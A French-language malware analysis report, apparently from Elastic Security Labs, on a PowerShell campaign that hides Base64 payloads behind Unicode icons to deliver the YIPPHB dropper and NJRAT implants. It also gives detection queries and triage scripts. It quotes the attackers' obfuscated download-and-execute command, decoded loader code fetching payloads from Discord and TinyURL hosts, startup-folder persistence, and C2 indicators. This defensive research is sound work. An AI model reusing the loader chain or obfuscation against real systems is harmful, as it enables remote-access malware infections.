Principaux points abordés dans cet article
- Elastic Security Labs a identifié 12 des groupes d'activités utilisant une TTP similaire consistant à enfiler des chaînes encodées en Base64 avec des icônes Unicode pour charger le dropper YIPPHB.
- YIPPHB est un compte-gouttes peu sophistiqué, mais efficace, utilisé pour délivrer des implants RAT depuis au moins mai 2022.
- L'accès initial tente d'utiliser des icônes Unicode intégrées dans Powershell pour retarder l'analyse automatisée.
Préambule
En examinant les données de télémétrie, Elastic Security Labs a identifié des arguments anormaux lors de l'exécution de Powershell. Un examen plus approfondi a permis d'identifier l'utilisation d'icônes Unicode dans les chaînes codées en Base64. Un mécanisme de substitution a été utilisé pour remplacer les icônes par des caractères ASCII.
Une fois les icônes remplacées par des caractères ASCII, un processus répétitif de collecte de fichiers encodés en Base64 et d'URL inversées a été utilisé pour exécuter un dropper et un implant de logiciel malveillant complet. Le dropper et l'implant malveillant ont été identifiés plus tard comme étant respectivement YIPPHB et NJRAT.
Cette recherche s'est concentrée sur les points suivants :
- Phase de chargement
- Phase du compte-gouttes
- Phase RAT
- Groupes d'activités
- Infrastructure de réseau
- Requêtes de détection
Analyse
L'analyse de cet ensemble d'intrusions décrit une méthode d'obscurcissement que nous pensons destinée à échapper à l'analyse automatique des commandes PowerShell, et que nous qualifions de rudimentaire et de normative.
Phase de chargement
En analysant les commandes Powershell dans la télémétrie d'Elastic, nous avons observé des icônes Unicode intégrées dans les commandes Powershell. L'utilisation d'Unicode pour obscurcir les commandes Powershell n'est pas une technique que nous avons observée.
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwATIK8ArwATIBMgrwATIBMgrwCvACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsAcwB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AGkAbgB5AH⌚⌚⌚AcgBsAC4AYwBvAG0ALwAyAG⌚⌚⌚AcgBwAGgANgBjAHMAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG⌚⌚⌚AdAB⌚⌚⌚AHkAcABlACgAJwBOAHcAZwBvAHgATQAuAEsA⌚⌚⌚ABKAGEATgBqACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBQAF⌚⌚⌚AbABHAEsAQQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuADAAMAAwADgAdABjAG8AMAAxAC8AMQA3ADkAOAAxADIAOAAyADQAOQAzADgAMgA4ADgANAAzADAAMQAvADMAMgA1ADkANwAxADkAMgA0ADkAOQA2ADMANgA1ADYANQA5AC8AcwB0AG4AZQBtAGgAYwBhAHQAdABhAC8AbQBvAGMALgBwAHAAYQBkAHIAbwBjAHMAaQBkAC4AbgBkAGMALwAvADoAcwBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwAQEMwGJwbMBicAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('-¯¯--¯--¯¯', '[redacted].vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
Bien que cette technique ne soit pas très complexe, puisqu'elle remplace simplement les icônes par un caractère ASCII, elle est créative. Cette technique pourrait retarder l'analyse automatisée des chaînes codées en Base64, à moins que la commande Powershell n'ait été entièrement exécutée ou qu'un flux de travail d'analyse n'ait été utilisé pour traiter les fonctions Unicode et de remplacement.
En regardant la commande Powershell, nous avons pu identifier un processus simple pour remplacer les icônes de montre Unicode (⌚⌚⌚⌚) par un U. Pour illustrer ce qui se passe, nous pouvons utiliser l'outil d'analyse de données créé par le GCHQ : CyberChef.
En chargeant les recettes "Find / Replace", "Decode Base64" et "Decode text (UTF-16LE)", nous pouvons décoder la chaîne Powershell.
Dans la chaîne décodée, nous pouvons voir comment le chargeur, le compte-gouttes et l'implant sont installés.
$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
Le chargeur est téléchargé à partir de https://tinyurl[.]com/2erph6cs. TinyURL est un service populaire de raccourcissement d'URL et, bien qu'il ait des utilisations très légitimes, il peut également être utilisé de manière abusive pour cacher des URL malveillantes qui se fondent dans le trafic normal du réseau.
Pour dérouler la TinyURL, nous pouvons utiliser le point de terminaison de l'API JSON de Unshorten.me :
$ curl https://unshorten.me/json/tinyurl[.]com/2erph6cs
{
"requested_url": "tinyurl[.]com/2erph6cs",
"success": true,
"resolved_url": "https://cdn.discordapp[.]com/attachments/1023796232872792096/1023798426636402818/dllsica.txt",
"usage_count": 3,
"remaining_calls": 8
}
Le téléchargement de dllsica.txt à partir du réseau de diffusion de contenu Discord nous a fourni une autre chaîne encodée en Base64. Contrairement à la chaîne Powershell précédente, la chaîne provenant de dllsica.txt peut facilement être décodée sans substitutions.
En utilisant les outils de ligne de commande cat , base64 , xxd , et head, nous pouvons voir que ce fichier a une valeur hexadécimale de 4d5a et un numéro magique MZ dans l'en-tête du fichier. Cela confirme que nous analysons un fichier PE.
- cat - crée un fichier
- base64 -D - le commutateur -D décode un fichier encodé en base64
- xxd - crée un dump hexadécimal d'une entrée
- head - renvoie les 10 premières lignes d'un fichier
$ cat dllsica.txt | base64 -D | xxd | head
00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000 MZ..............
00000010: b800 0000 0000 0000 4000 0000 0000 0000 ........@.......
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000030: 0000 0000 0000 0000 0000 0000 8000 0000 ................
00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468 ........!..L.!Th
00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f is program canno
...truncated...
Ensuite, nous avons désobfusqué le binaire, l'avons écrit sur le disque, puis avons généré un hachage SHA-256.
- fichier - vérifier le type de fichier
- shasum -a 256 - le commutateur -a 256 utilise l'algorithme de hachage de 256 bits.
$ cat dllsica.txt | base64 -D > dllsica.bin
$ file dllsica.bin
dllsica.bin: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
$ shasum -a 256 dllsica.bin
49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2
Maintenant que le chargeur a été collecté, il exécute la méthode PUlGKA à l'intérieur de la classe NwgoxM.KPJaN. A partir de la chaîne originale décodée en Base64
…truncated…
GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]]
...truncated…:
Il est possible que nous publiions de futures recherches sur ce chargeur, qui maintient l'accès en se copiant lui-même dans le dossier de démarrage de l'utilisateur sous la forme d'un script VB pris en charge en mode natif.
FileSystem.FileCopy(RodaCopy, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + NameCopy + ".vbs");
Phase du compte-gouttes
L'image d'exécution du chargeur ci-dessus montre que celui-ci utilise une variable inversée(text = bdw6ufv4/moc[.]lruynit//:sptth). pour télécharger un fichier supplémentaire à l'aide d'une TinyURL. À l'aide de l'outil de ligne de commande rev , nous pouvons corriger l'URL inversée.
$ echo "bdw6ufv4/moc.lruynit//:sptth" | rev
https://tinyurl[.]com/4vfu6wd
Nous pouvons dérouler la TinyURL en utilisant le point de terminaison JSON de l'API Unshorten.me pour identifier l'emplacement de téléchargement du dropper.
$ curl https://unshorten.me/json/tinyurl[.]com/4vfu6wd
{
"requested_url": "tinyurl[.]com/4vfu6wd",
"success": true,
"resolved_url": "https://cdn.discordapp[.]com/attachments/1023796232872792096/1023796278213234758/pesica.txt",
"usage_count": 2,
"remaining_calls": 9
}
Un autre fichier codé est téléchargé depuis Discord : pesica.txt. À l'heure où nous écrivons ces lignes, VirusTotal ne signale aucune détection de ce fichier.
Avec les indices de dllsica.bin , nous pouvons voir que pesica.txt utilise l'encodage UTF-8. Pour poursuivre l'analyse de notre fichier, nous devons remplacer les valeurs ▒▒▒▒ par un A et décoder en Base64 les chaînes qui en résultent.
…truncated…
string text = "bdw6ufv4/moc[.]lruynit//:sptth";
string text2 = new WebClient
{
Encoding = Encoding.UTF8
}.DownloadString(Strings.StrReverse(text));
text2 = Strings.StrReverse(text2);
text2 = text2.Replace("▒▒▒▒", "A");
string text3 = new WebClient().DownloadString(Strings.StrReverse(_5));
text3 = Strings.StrReverse(text3);
…truncated…
{
text4 + "\\InstallUtil.exe",
Convert.FromBase64String(text3)
});
…truncated…
Nous pouvons empiler des recettes pour réaliser ces fonctions avec CyberChef.
Une fois que nous avons décodé pesica.txt , nous calculons le hash bba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cf. La sortie décodée de pesica.txt montre le nom du module YippHB.
...truncated...
ToInt16
<Module>
YippHB
ResumeThread_API
...truncated...
C'est de ce nom de module que provient le nom du compte-gouttes YIPPHB. YIPPHB a été découvert par le chercheur en sécurité Paul Melson. Paul a révélé publiquement ce dropper en octobre 2022 lors de la conférence sur la sécurité Augusta BSides.
Le dropper YIPPHB est exécuté à l'aide de l'utilitaire de ligne de commande Installutil.exe pour lancer la phase RAT.
Nous appelons la phase suivante la phase RAT. Tous les binaires que nous avons pu collecter au cours de cette phase étaient des implants RAT (NJRAT, LIMERAT et ASYNCRAT) ; cependant, la nature modulaire de cet ensemble d'intrusions permettrait d'utiliser n'importe quel type d'implant.
Phase RAT
Maintenant que le dropper YIPPHB a été exécuté, il reprend la deuxième partie du script de l'icône Unicode d'origine pour installer l'implant RAT.
…truncated…
('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
Le RAT a été récupéré à partir de https://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txt, qui est inversé à partir de txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth.
En examinant le fichier 10oct8000.txt, nous pouvons voir qu'il s'agit d'un fichier inversé, encodé en Base64.
=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA…truncated…
Nous pouvons corriger ce fichier et le décoder en base64 à l'aide des outils en ligne de commande rev et base64 et enregistrer le résultat sous 10oct8000.bin.
$ cat 10oct8000.txt | rev | base64 -D > 10oct8000.bin
10oct8000.bin a une empreinte SHA256 de 1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3. Ce fichier est signalé sur VirusTotal comme une variante des familles de logiciels malveillants LIMERAT ou NJRAT (selon la source).
Comme pour le chargeur et le dropper YIPPHB, nous examinerons certaines capacités de base du RAT, mais nous ne l'inverserons pas complètement. La recherche de ces capacités nous a conduits à des recherches antérieures qui associent cet échantillon au NJRAT ou au LIMERAT(1, 2).
La RAT commence sa routine d'exécution en se connectant au serveur de commande et de contrôle. Dans un thread séparé, il lance également une routine de keylogger afin de collecter autant d'informations que possible.
Pour la connexion au serveur de commande et de contrôle, la RAT utilise les informations de configuration répertoriées en tant que variables globales. La variable victimName ( TllBTiBDQVQ= ) est une chaîne encodée en Base64 qui se décode "NYAN CAT". Sur la base de la similitude du code avec une base de code NJRAT connue, ces informations sur la configuration C2 renforcent notre conviction qu'il s'agit d'un cas lié à la NJRAT.
Si la RAT est connectée à un serveur de commande et de contrôle à l'écoute des commandes, elle envoie les informations supplémentaires suivantes :
- Nom de la victime ( vn )
- ID du matériel
- Nom d'utilisateur
- OSFullName
- OSVersion Servicepack
- si le dossier Program Files se termine par X86 ou non
- si une webcam est présente
- le nom de la fenêtre
- un contrôle des autorisations dans le registre
S'il parvient à se connecter à un serveur C2, l'opérateur peut interagir avec l'implant par le biais d'une série de commandes. Les chercheurs en sécurité Hido Cohen et CyberMasterV fournissent une explication détaillée de ces commandes et de la fonctionnalité générale du RAT ici et ici.
Groupes d'activités
Nous avons pu effectuer des recherches supplémentaires dans nos données télémétriques afin d'identifier plusieurs groupes d'activité. Vous trouverez ci-dessous une requête EQL :
intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")
Cette requête nous a permis d'identifier l'activité Powershell qui utilise à la fois les caractères Unicode et la fonction de remplacement.
En examinant ces résultats, nous avons pu regrouper les activités en fonction du nom de la variable en combinaison avec l'icône Unicode. Dans l'exemple qui a sourcé cette recherche initiale, un cluster serait la variable iUqm et les icônes ⌚⌚⌚Unicode.
| ID du groupe | Variable | Icône Unicode + chiffre | Pourcentage de prévalence (arrondi) |
|---|---|---|---|
| 1 | ngfYq | "(U+275E) | 1% |
| 2 | Codigo | ❤ (U+2764) | 1% |
| 3 | iUqm | ⌚ (U+231A) | 9% |
| 4 | iUqm | ⚔ (U+2694) | 6 % |
| 5 | Codigo | ⁂ (U+2042) | 62 % |
| 6 | iUqm | ✌ (U+270C) | 1% |
| 7 | Codigo | ⏏ (U+23CF) | 1% |
| 8 | Cg1O | ☈ (U+2608) | 5% |
| 9 | Codigo | ♔ (U+2654) | 10% |
| 10 | iUqm | ﭏ (U+FB4F) | 1% |
| 11 | Codigo | _*/}+/_= | 1% |
| 12 | iUqm | ☈ (U+2608) | 2 % |
Il convient de noter que le groupe 11 utilise les mêmes techniques que les autres groupes, mais au lieu d'une icône Unicode pour la substitution, il utilise une série de caractères ASCII ( _*/}+/_= ). L'intrusion a fonctionné de la même manière et nous ne savons pas exactement pourquoi cette grappe s'est écartée de l'utilisation d'une icône Unicode.
Collecte et analyse des données du réseau
Afin d'étendre l'analyse de cet ensemble d'intrusions, nous avons voulu automatiser l'extraction des URL codées du chargeur et du dropper à partir de la ligne de commande process.command_line. et le C2 de suivi utilisé par les implants RAT.
Chargeur et compte-gouttes
Comme indiqué dans les phases Loader et Dropper, la chaîne encodée en Base64 doit être remplacée par les icônes Unicode, puis inversée et décodée. À l'issue de ce processus, le premier URL est immédiatement disponible, tandis que le second nécessite une nouvelle inversion.
Pour éviter l'exécution de la commande Powershell elle-même, nous pouvons utiliser l'outil de traitement de texte awk. Vous trouverez ci-après une description détaillée de la manière de procéder à l'analyse, ainsi qu'un script shell à titre de référence.
Pour commencer, nous aurons besoin d'accéder à nos données sur la ligne de commande où nous pourrons les envoyer à awk. Nous avons publié un outil appelé eql-query (et un autre appelé lucene-query ) pour faire exactement cela.
En utilisant eql-query , nous pouvons lancer une requête EQL pour récupérer les résultats des 180 derniers jours, en récupérant uniquement la ligne de commande process.command_line champ. L'intérêt d'effectuer cette opération à partir de la ligne de commande est qu'elle nous permet d'analyser davantage les données et d'en extraire d'autres chaînes de caractères intéressantes.
eql-query --since 'now-180d/d' --size=1000 --compact --fields 'process.command_line' 'intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")'
Ensuite, utilisez jq pour transmettre la chaîne brute à awk en utilisant jq '._source.process.command_line' -r | awk.
Si vous procédez de manière itérative, il est préférable d'écrire les résultats de eql-query dans un fichier, puis d'opérer sur les résultats localement jusqu'à ce que votre pipeline soit conforme à vos attentes.
L'étape suivante consiste à capturer les chaînes utilisées dans les commandes de remplacement Powershell afin de pouvoir exécuter cette fonction nous-mêmes. La meilleure façon d'y parvenir avec awk est de les capturer à l'aide d'une expression régulière.
Cela correspond aux premier et deuxième arguments à remplacer. Le premier argument est Unicode et n'est peut-être pas utilisable comme motif awk, nous devrons donc l'échapper d'abord. Une fois le remplacement effectué, nous imprimerons le code "propre", la chaîne à rechercher et le texte de remplacement.
function escape_string( str ) {
gsub(/[\\.^$(){}\[\]|*+?]/, "\\\\&", str)
return str
}
{
match($0, /replace\('\''(.*)'\'' *, *'\''(.*)'\''/, arr);
str=escape_string(arr[1]);
rep=arr[2];
print gensub(str, rep, "g")
}
Enfin, nous pouvons extraire le code Base64 (en utilisant une autre regex) et révéler le script Powershell obscurci.
grep -oP ''\''\K[A-Za-z0-9+/]+={0,2}(?='\'';)'
Cela permet d'automatiser le processus de conversion manuelle que nous avons décrit dans les phases Loader, Dropper et RAT ci-dessus.
$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
L'analyse des URL à partir de ce texte devrait être une autre correspondance awk simple, suivie de l'inversion de la deuxième URL, mais l'encodage par défaut de Powershell est UTF-16LE et awk ne prend en charge que l'encodage UTF-8 ou ASCII. Un outil appelé iconv peut effectuer la conversion nécessaire.
echo "${line}" | base64 -d | iconv -f UTF-16 -t UTF-8 | awk '{ if ( match($0, /'\''([^'\'']+\/\/:s?ptth)'\''/, arr)) { n=split(arr[1],arr2,""); for(i=1;i<=n;i++){s=arr2[i] s}; print s}; if ( match($0, /'\''(https?:\/\/[^'\'']+)'\''/, arr)){ print arr[1] } }'
Une fois converti, le reste n'est qu'une simple analyse. Notre résultat contiendra url1 , url2 , et une copie des chaînes Unicode et de leurs remplacements. Les URL sont les URL directes et inverses pour chaque échantillon de code, respectivement.
| Icône Unicode | Remplacement | url1 | url2 |
|---|---|---|---|
| ⌚⌚⌚ | U | https://tinyurl[.]com/2erph6cs | https://cdn.discordapp[.]com/...truncated.../10oct8000.txt |
| ⌚⌚⌚ | U | http://91.241.19[.]49/ARTS/dllf3txt | http://91.241.19[.]49/test/new/ZX1.txt |
| ⁂ | R | http://20.231.55[.]108/dll/06-07-2022.PDF | http://212.192.246[.]226/dsaffdffa.txt |
Pour plus de détails ou pour l'essayer avec vos propres données, consultez le script shell qui combine le tout.
Maintenant que nous avons automatisé la collecte et l'analyse des URL pour le loader et le dropper, nous pouvons passer à l'infrastructure RAT.
RAT
Comme le montre le script Powershell original, nous savons que la RAT utilise une infrastructure réseau supplémentaire. Pour l'énumérer, nous devons faire descendre le RAT comme le ferait le dropper, prendre un ensemble unique d'URL pour chaque url1 et url2 produit à l'étape précédente, faire une boucle dans chaque liste, et utiliser curl pour les télécharger.
Ce processus nécessite d'interagir avec des infrastructures appartenant à l'adversaire ou contrôlées par lui. L'interaction avec l'infrastructure adverse nécessite une préparation rigoureuse que toutes les organisations ne sont pas prêtes à mettre en œuvre. Si vous n'avez pas encore de solides connaissances en matière de considérations juridiques, de points de sortie défensifs du réseau, de bacs à sable, de stratégie de gain/perte de renseignements, etc.
Comme le chargeur n'enregistre jamais les fichiers téléchargés sur le disque et qu'il n'y a pas toujours de noms de fichiers, nous utiliserons un simple compteur pour garder une trace des échantillons. Nous obtenons ainsi une boucle simple :
ctr=1
for line in $(cat ../url-1.txt); do
curl -v -A "${USER_AGENT}" -o "file-${ctr}" -L --connect-timeout 10 "${line}" 2>>"log-${ctr}.txt"
ctr=$((ctr + 1))
done
Nous utilisons -v pour capturer les en-têtes des requêtes et des réponses, -L pour suivre les redirections, et --connect-timeout pour accélérer le processus lorsque l'infrastructure est en panne. Enfin, enregistrez la sortie curl dans un fichier journal, tandis que les fichiers téléchargés sont enregistrés sous le nom de fichier-X , où X est la valeur du compteur.
Tous les fichiers RAT téléchargés sont codés en Base64. Nous pouvons identifier les fichiers valides codés en Base64 à l'aide de la commande file. Un fichier codé en Base64 sera identifié comme du "texte ASCII, avec de très longues lignes(longueur), sans terminaison de ligne", où la longueur est la taille du fichier. Pour les fichiers qui correspondent à ce langage, nous les décoderons et les enregistrerons avec un fichier .dll. extension.
for entry in $(file file-?? | awk -F": " '$2 ~ /^ASCII text.*very long lines/ {print $1}'); do
rev <"${entry}" | base64 -d >"${entry}.dll"
done
Maintenant que nous avons les binaires de la RAT, nous pouvons effectuer une analyse statique typique sur eux. Si vous disposez de l'outil de ligne de commande VirusTotal et que vous pouvez effectuer des requêtes API, la recherche de fichiers connus est une autre boucle simple sur tous les fichiers dll sauvegardés.
for entry in *.dll; do
hash=$(sha256sum "${entry}" | awk '{print $1}')
vt search "${hash}" >"${entry}.vt.yml"
done
En regardant la sortie, nous pouvons voir que tout fichier yml (la sortie de la commande vt ) avec 0 octets signifie qu'il n'y a pas de correspondance. Ces fichiers sont inconnus de VirusTotal. Dans cette sortie, nous pouvons voir que file-30.dll , file-31.dll , et file-34.dll sont inconnus de VirusTotal.
$ ls -s *.dll{,.vt.yml}
32 file-28.dll
32 file-28.dll.vt.yml
32 file-30.dll
0 file-30.dll.vt.yml
32 file-31.dll
0 file-31.dll.vt.yml
468 file-34.dll
0 file-34.dll.vt.yml
48 file-35.dll
40 file-35.dll.vt.yml
80 file-38.dll
36 file-38.dll.vt.yml
La dernière analyse que nous allons effectuer consiste à tenter de supprimer tout nom de domaine des DLL. Pour de nombreux formats de fichiers exécutables, la commande strings peut fournir ces informations. Malheureusement, la plupart de ces DLL sont des assemblages .Net et la commande strings ne fonctionne pas pour extraire des chaînes de caractères d'assemblages .Net. La commande file peut à nouveau nous aider à les identifier, comme dans cet exemple :
$ file file-31.dll
file-31.dll: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
L'avantage de .Net est qu'il est facile à désassembler et le projet Mono fournit un outil spécialement conçu à cet effet, ikdasm. Nous obtenons ainsi notre dernière boucle de recherche de noms de domaine ou de références à des URL HTTP.
for item in *.dll; do
ikdasm "${item}" | grep -E '(\.(org|com|net|ly))|((yl|ten|moc|gro)\.)|("http|ptth")';
Done
Pour plus de détails, vous pouvez vous référer à ce script shell qui met en place cette deuxième étape d'analyse.
Modèle diamant
Elastic Security utilizes the Diamond Model to describe high-level relationships between adversaries and victims of intrusions.
Observation des tactiques et techniques de l'adversaire
Elastic utilise le cadre MITRE ATT&CK pour documenter les tactiques, techniques et procédures communes que les menaces persistantes avancées utilisent contre les réseaux d'entreprise.
Tactiques
Les tactiques représentent le pourquoi d'une technique ou d'une sous-technique. Il s'agit de l'objectif tactique de l'adversaire : la raison pour laquelle il effectue une action.
- Développement de ressources
- Exécution
- Persistance
- Évasion par la défense
- Découverte
- Commande et contrôle
Techniques/sous-techniques
Les techniques et les sous techniques représentent la manière dont un adversaire atteint un objectif tactique en effectuant une action.
- Acquérir une infrastructure
- Capacités d'étape : Téléchargement de logiciels malveillants
- Exécution du démarrage automatique au démarrage ou à l'ouverture de session : Clés d'exécution du registre / Dossier de démarrage
- Interprète de commandes et de scripts : Visual Basic
- Interprète de commandes et de scripts : PowerShell
- Exécution du proxy binaire du système : InstallUtil
- Masquage des fichiers ou des informations
Logique de détection
Règles de comportement
- Connexion à un service Web par un proxy binaire signé
- Suspicious PowerShell Execution
- Exécution d'un processus avec une extension de fichier inhabituelle
- Fichier de script écrit dans le dossier de démarrage
- Suspicious PowerShell Execution via Windows Scripts (Exécution suspecte de PowerShell via des scripts Windows)
- Connexion au fournisseur de DNS dynamique par un binaire non signé
Requêtes de détection
L'identification de l'Unicode dans Powershell peut être réalisée à l'aide d'une requête KQL ou EQL.
Les événements pour KQL et EQL sont fournis par l'agent Elastic à l'aide de l'intégration Elastic Defend.
KQL query
En utilisant l'application Discover dans Kibana, la requête ci-dessous identifiera l'utilisation de Powershell avec des chaînes Unicode. Bien que cela ait permis d'identifier tous les événements étudiés dans le cadre de cette recherche, cela a également permis d'identifier d'autres événements qui ne faisaient pas partie de l'ensemble d'intrusions REF4526.
Les caractères génériques précédents et suivants ( * ) peuvent constituer une recherche coûteuse sur un grand nombre d'événements.
process.pe.original_file_name : "PowerShell.EXE" and process.command_line : (*Unicode.GetString* and *replace*)
Requête EQL
En utilisant la section Timeline de la solution de sécurité dans Kibana sous l'onglet "Corrélation", cette requête identifiera l'utilisation de Powershell avec des chaînes Unicode et la fonction de remplacement. Cela a permis d'identifier tous les événements REF4526 observés.
intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")
Références
Les éléments suivants ont été référencés tout au long de la recherche ci-dessus :
- https://github.com/pmelson/bsidesaugusta_2022/blob/main/unk.yara
- https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat
- https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat
- https://neonprimetime.blogspot.com/2018/10/njrat-lime-ilspy-decompiled-code-from.html
- https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/
- https://github.com/NYAN-x-CAT/njRAT-0.7d-Stub-CSharp/blob/master/njRAT%20C%23%20Stub/Program.cs
- https://hidocohen.medium.com/njrat-malware-analysis-198188d6339a
- https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/
Observables
Toutes les observables sont également disponibles au téléchargement en format ECS et STIX dans un paquet zip combiné.
Les observables suivants ont été examinés dans le cadre de cette recherche.
| Observable | Type | Référence | Note |
|---|---|---|---|
| 49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2 | SHA-256 | dllsica.bin | Chargeur initial |
| bba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cf | SHA-256 | pesica.bin | Téléchargeur YIPPHB |
| 1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3 | SHA-256 | 10oct8000 | Implant NJRAT |
https://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txt | Url | Phase de chargement | Lieu de téléchargement du NJRAT |
https://tinyurl[.]com/2erph6cs | Url | Phase de chargement | REF4526 loader download location |
https://tinyurl[.]com/4vfu6wd | Url | Phase du compte-gouttes | Emplacement du téléchargement de YIPPHB |
| wins10ok.duckdns[.]org | nom de domaine | NJRAT C2 | NA |
